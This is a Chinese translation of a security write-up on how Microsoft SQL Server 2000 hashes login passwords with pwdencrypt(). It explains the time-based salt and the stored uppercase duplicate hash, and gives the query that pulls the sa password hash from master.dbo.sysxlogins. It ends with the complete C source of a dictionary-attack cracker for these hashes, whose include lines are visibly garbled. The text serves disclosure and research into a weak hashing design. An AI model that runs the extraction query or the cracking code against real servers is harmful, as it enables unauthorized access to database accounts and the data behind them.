破解MSSQL中的HASH密碼
SQL服務(wù)器是怎樣儲存密碼的?
SQL服務(wù)器使用了一個沒有公開的函數(shù)pwdencrypt()對用戶密碼產(chǎn)生一個hash。通過研究我們可以發(fā)現(xiàn)這個hash儲存在mater數(shù)據(jù)庫的sysxlogins表里面。這個可能已經(jīng)是眾所周知的事情了。
pwdencrypt()函數(shù)還沒有公布詳細(xì)的資料,我們這份文檔將詳細(xì)對這個函數(shù)進(jìn)行討論,并將指出sql服務(wù)器儲存hash的這種方法的一些不足之處。實(shí)際上,等下我將會說‘密碼hashes’。(allyesno:后文會討論到,由于時間的關(guān)系即使當(dāng)密碼相同的時候生成的hash也并不是唯一一個,所以是hashes)
SQL的密碼hash看起來是怎樣的呢?
我們使用查詢分析器,或者任何一個SQL客戶端來執(zhí)行這條語句:select password from master.dbo.sysxlogins where name='sa'
屏幕會返回類似下面這行字符串的東東。0x01008D504D65431D6F8AA7AED333590D7DB1863CBFC98186BFAE06EB6B327EFA5449E6F649BA954AFF4057056D9B
這是我機(jī)子上登錄密碼的hash。
通過分析hash我們可以從中獲取pwdencrypt()的一些什么信息?
1.時間
首先我們使用查詢 select pwdencrypt() 來生成hash
select pwdencrypt('ph4nt0m')
生成hash
0x01002717D406C3CD0954EA4E909A2D8FE26B55A19C54EAC3123E8C65ACFB8F6F9415946017F7D4B8279BA19EFE77
ok再一次 select pwdencrypt('ph4nt0m')
0x0100B218215F1C57DD1CCBE3BD05479B1451CDB2DD9D1CE2B3AD8F10185C76CC44AFEB3DB854FB343F3DBB106CFB
我們注意到,雖然兩次我們加密的字符串都是ph4nt0m但是生成的hash卻不一樣。那么是什么使兩次hash的結(jié)果不一樣呢,我們大膽的推測是時間在這里面起到了關(guān)鍵的作用,它是創(chuàng)建密碼hashes和儲存hashes的重要因素。之所以使用這樣的方式,是因?yàn)楫?dāng)兩個人輸入同樣的密碼時可以以此產(chǎn)生不同的密碼hashes用來掩飾他們的密碼是相同的。
2.大小寫(廣告時間:英漢網(wǎng)絡(luò)技術(shù)詞匯這本字典好,翻譯的時候很多金山詞霸找不到的東西,它都能弄出來)
使用查詢
select pwdencrypt('ALLYESNO')
我們將得到hash
0x01004C61CD2DD04D67BD065181E1E8644ACBE3551296771E4C91D04D67BD065181E1E8644ACBE3551296
771E4C91
通過觀察,我們可以發(fā)現(xiàn)這段hash中有兩段是相同的,如果你不能馬上看出來,讓我們把它截?cái)鄟砜础?/P>
0x0100(固定)
4C61CD2D(補(bǔ)充key)
D04D67BD065181E1E8644ACBE3551296771E4C91(原型hash)
D04D67BD065181E1E8644ACBE3551296771E4C91(大寫hash)
現(xiàn)在我們可以看出來最后兩組字符串是一模一樣的了。這說明這段密碼被相同的加密方式進(jìn)行了兩次加密。一組是按照字符原型進(jìn)行加密,另一組是按照字符的大寫形式進(jìn)行了加密。當(dāng)有人嘗試破解SQL密碼的時候?qū)人A(yù)期要容易,這是一個糟糕的加密方式。因?yàn)槠平饷艽a的人不需要理會字符原型是大寫還是小寫,他們只需要破解大寫字符就可以了。這將大大減少了破解密碼者所需要破解密碼的字符數(shù)量。(allyesno:flashsky的文章《淺談SQL SERVER數(shù)據(jù)庫口令的脆弱性》中曾經(jīng)提到“如因?yàn)槠渌惴ㄒ粯?,如果HASH1=HASH2,就可以判斷口令肯定是未使用字母,只使用了數(shù)字和符號的口令”。實(shí)際上并不如flashsky所說的完全相同,我們使用了select pwdencrypt()進(jìn)行加密以后就可以發(fā)現(xiàn)使用了數(shù)字和符號和大寫字母的密碼其hash1和hash2都會相同,所以這是flashsky文章中一個小小的bug)
#p#
補(bǔ)充key
根據(jù)上文所述,當(dāng)時間改變的時候也會使得hash改變,在hash中有一些跟時間有關(guān)系的信息使得密碼的hashes不相同,這些信息是很容易獲取的。當(dāng)我們登錄的時候依靠從登錄密碼中和數(shù)據(jù)庫中儲存的hash信息,就可以做一個比較從而分析出這部分信息,我們可以把這部分信息叫做補(bǔ)充key。
上文中我們獲取的hash中,補(bǔ)充key 4C61CD2D 就是這個信息的一部分。
這個key 4C61CD2D 由以下闡述的方法生成。
time()C 函數(shù)被調(diào)用作為一個種子傳遞給srand()函數(shù)。一旦srand()函數(shù)被作為rand()函數(shù)的種子并且被調(diào)用生成偽隨機(jī)key,srand()就會設(shè)置了一個起點(diǎn)產(chǎn)生一系列的(偽)隨機(jī)key。然后sql服務(wù)器會將這個key截?cái)嗳∫徊糠郑胖迷趦?nèi)存里面。我們叫它key1。這個過程將會再運(yùn)行一次并生成另一個key我們叫他key2。兩個key連在一起就生成了我們用來加密密碼的補(bǔ)充key。
密碼的散列法
用戶的密碼會被轉(zhuǎn)換成UNICODE形式。補(bǔ)充key會添加到他們后面。例如以下所示:{'A','L','L','Y','E','S','N','O',0x4C,0x61,0xCD,0x2D}
以上的字符串將會被sql服務(wù)器使用pwdencrypt()函數(shù)進(jìn)行加密(這個函數(shù)位于advapi32.dll)。生成兩個hash
0x0100(固定)
4C61CD2D(補(bǔ)充key)
D04D67BD065181E1E8644ACBE3551296771E4C91(原型hash)
D04D67BD065181E1E8644ACBE3551296771E4C91(大寫hash)
驗(yàn)證過程
用戶登錄SQL服務(wù)器的驗(yàn)證過程是這樣子的:當(dāng)用戶登陸的時候,SQL服務(wù)器在數(shù)據(jù)庫中調(diào)用上面例
子中的補(bǔ)充key4C61CD2D,將其附加在字符串“ALLYESNO”的后面,然后使用pwdencrypt()函數(shù)進(jìn)行加密。然后把生成的hash跟數(shù)據(jù)庫內(nèi)的hash進(jìn)行對比,以此來驗(yàn)證用戶輸入的密碼是否正確。
SQL服務(wù)器密碼破解
我們可以使用同樣的方式去破解SQL的密碼。當(dāng)然我們會首先選擇使用大寫字母和符號做為字典進(jìn)行破解,這比猜測小寫字母要來得容易。
一個命令行的MSSQL服務(wù)器HASH破解工具源代碼
以下是引用片段: ///////////////////////////////////////////////////////////////////////////////// // // SQLCrackCl // // This will perform a dictionary attack against the // upper-cased hash for a password. Once this // has been discovered try all case variant to work // out the case sensitive password. // // This code was written by David Litchfield to // demonstrate how Microsoft SQL Server 2000 // passwords can be attacked. This can be // optimized considerably by not using the CryptoAPI. // // (Compile with VC++ and link with advapi32.lib // Ensure the Platform SDK has been installed, too!) // ////////////////////////////////////////////////////////////////////////////////// #i nclude #i nclude #i nclude FILE *fd=NULL; char *lerr = "\nLength Error!\n"; int wd=0; int OpenPasswordFile(char *pwdfile); int CrackPassword(char *hash); int main(int argc, char *argv[]) { int err = 0; if(argc !=3) { printf("\n\n*** SQLCrack *** \n\n"); printf("C:\>%s hash passwd-file\n\n",argv[0]); printf("David Litchfield (david@ngssoftware.com)\n"); printf("24th June 2002\n"); return 0; } err = OpenPasswordFile(argv[2]); if(err !=0) { return printf("\nThere was an error opening the password file %s\n",argv[2]); } err = CrackPassword(argv[1]); fclose(fd); printf("\n\n%d",wd); return 0; } int OpenPasswordFile(char *pwdfile) { fd = fopen(pwdfile,"r"); if(fd) return 0; else return 1; } int CrackPassword(char *hash) { char phash[100]=""; char pheader[8]=""; char pkey[12]=""; char pnorm[44]=""; char pucase[44]=""; char pucfirst[8]=""; char wttf[44]=""; char uwttf[100]=""; char *wp=NULL; char *ptr=NULL; int cnt = 0; int count = 0; unsigned int key=0; unsigned int t=0; unsigned int address = 0; unsigned char cmp=0; unsigned char x=0; HCRYPTPROV hProv=0; HCRYPTHASH hHash; DWORD hl=100; unsigned char szhash[100]=""; int len=0; if(strlen(hash) !=94) { return printf("\nThe password hash is too short!\n"); } if(hash[0]==0x30 && (hash[1]== ’x’ || hash[1] == ’X’)) { hash = hash + 2; strncpy(pheader,hash,4); printf("\nHeader\t\t: %s",pheader); if(strlen(pheader)!=4) return printf("%s",lerr); hash = hash + 4; strncpy(pkey,hash,8); printf("\nRand key\t: %s",pkey); if(strlen(pkey)!=8) return printf("%s",lerr); hash = hash + 8; strncpy(pnorm,hash,40); printf("\nNormal\t\t: %s",pnorm); if(strlen(pnorm)!=40) return printf("%s",lerr); hash = hash + 40; strncpy(pucase,hash,40); printf("\nUpper Case\t: %s",pucase); if(strlen(pucase)!=40) return printf("%s",lerr); strncpy(pucfirst,pucase,2); sscanf(pucfirst,"%x",&cmp); } else { return printf("The password hash has an invalid format!\n"); } printf("\n\n Trying...\n"); if(!CryptAcquireContextW(&hProv, NULL , NULL , PROV_RSA_FULL ,0)) { if(GetLastError()==NTE_BAD_KEYSET) { // KeySet does not exist. So create a new keyset if(!CryptAcquireContext(&hProv, NULL, NULL, PROV_RSA_FULL, CRYPT_NEWKEYSET )) { printf("FAILLLLLLL!!!"); return FALSE; } } } while(1) { // get a word to try from the file ZeroMemory(wttf,44); if(!fgets(wttf,40,fd)) return printf("\nEnd of password file. Didn’t find the password.\n"); wd++; len = strlen(wttf); wttf[len-1]=0x00; ZeroMemory(uwttf,84); // Convert the word to UNICODE while(count < len) { uwttf[cnt]=wttf[count]; cnt++; uwttf[cnt]=0x00; count++; cnt++; } len --; wp = &uwttf; sscanf(pkey,"%x",&key); cnt = cnt - 2; // Append the random stuff to the end of // the uppercase unicode password t = key >> 24; x = (unsigned char) t; uwttf[cnt]=x; cnt++; t = key << 8; t = t >> 24; x = (unsigned char) t; uwttf[cnt]=x; cnt++; t = key << 16; t = t >> 24; x = (unsigned char) t; uwttf[cnt]=x; cnt++; t = key << 24; t = t >> 24; x = (unsigned char) t; uwttf[cnt]=x; cnt++; // Create the hash if(!CryptCreateHash(hProv, CALG_SHA, 0 , 0, &hHash)) { printf("Error %x during CryptCreatHash!\n", GetLastError()); return 0; } if(!CryptHashData(hHash, (BYTE *)uwttf, len*2+4, 0)) { printf("Error %x during CryptHashData!\n", GetLastError()); return FALSE; } CryptGetHashParam(hHash,HP_HASHVAL,(byte*)szhash,&hl,0); // Test the first byte only. Much quicker. if(szhash[0] == cmp) { // If first byte matches try the rest ptr = pucase; cnt = 1; while(cnt < 20) { ptr = ptr + 2; strncpy(pucfirst,ptr,2); sscanf(pucfirst,"%x",&cmp); if(szhash[cnt]==cmp) cnt ++; else { break; } } if(cnt == 20) { // We’ve found the password printf("\nA MATCH!!! Password is %s\n",wttf); return 0; } } count = 0; cnt=0; } return 0; } |